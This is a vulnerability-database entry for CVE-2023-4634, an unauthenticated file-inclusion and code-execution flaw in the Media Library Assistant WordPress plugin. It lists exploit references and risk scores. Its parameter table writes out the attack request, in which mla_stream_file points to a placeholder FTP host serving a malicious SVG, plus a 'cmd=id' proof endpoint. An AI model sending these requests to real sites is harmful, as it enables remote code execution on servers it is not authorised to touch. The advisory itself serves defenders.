Vulners
Lucene search
CVE-2023-4634
🗓️ 06 Sep 2023 08:27:50Reported by WordfenceType 
cve🔗 web.nvd.nist.gov📰️ 2 Media mentions👁 102 Views🌐 WEB
| Reporter | Title | Published | Views | Family All 19 |
|---|---|---|---|---|
 | Exploit for CVE-2023-4634 | 4 Feb 202617:59 | – | githubexploit |
| Exploit for CVE-2023-4634 | 5 Sep 202307:44 | – | githubexploit |
 | Wordpress Media Library Assistant Plugin - Remote Code Execution / Local File Inclusion Exploit | 9 Oct 202300:00 | – | zdt |
 | CVE-2023-4634 | 5 Sep 202311:57 | – | circl |
 | WordPress plugin Media Library Assistant security vulnerability | 6 Sep 202300:00 | – | cnnvd |
 | CVE-2023-4634 Media Library Assistant <= 3.09 - Unauthenticated Local/Remote File Inclusion & Remote Code Execution | 6 Sep 202308:27 | – | cvelist |
 | Media Library Assistant Wordpress Plugin - RCE and LFI | 9 Oct 202300:00 | – | exploitdb |
 | Media Library Assistant < 3.09 - Remote Code Execution/Local File Inclusion | 2 Jun 202610:14 | – | nuclei |
 | CVE-2023-4634 | 6 Sep 202309:15 | – | nvd |
 | CVE-2023-4634 | 6 Sep 202309:15 | – | osv |
10
Node
[
{
"vendor": "dglingren",
"product": "Media Library Assistant",
"versions": [
{
"version": "0",
"status": "affected",
"lessThanOrEqual": "3.09",
"versionType": "semver"
}
],
"defaultStatus": "unaffected"
}
]| Parameter | Position | Path | Description | CWE |
|---|---|---|---|---|
| mla_stream_file | query param | wp-content/plugins/media-library-assistant/includes/mla-stream-image.php?mla_stream_file=ftp://X.X.X.X:21/malicious.svg&mla_debug=log&mla_stream_frame=1 | LFI/RCE vector via mla_stream_file parameter triggering remote file usage in Imagick processing | CWE-73 |
| mla_debug | query param | wp-content/plugins/media-library-assistant/includes/mla-stream-image.php?mla_stream_file=ftp://X.X.X.X:21/malicious.svg&mla_debug=log&mla_stream_frame=1 | LFI/RCE vector via mla_stream_file parameter triggering remote file usage in Imagick processing | CWE-73 |
| mla_stream_frame | query param | wp-content/plugins/media-library-assistant/includes/mla-stream-image.php?mla_stream_file=ftp://X.X.X.X:21/malicious.svg&mla_debug=log&mla_stream_frame=1 | LFI/RCE vector via mla_stream_file parameter triggering remote file usage in Imagick processing | CWE-73 |
| cmd | query param | rce_proof.php?cmd=id | RCE proof endpoint executing commands via cmd parameter | CWE-73 |
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
08 Apr 2026 17:17Current
9.7High risk
Vulners AI Score9.7
CVSS 3.19.8
EPSS0.92062
SSVC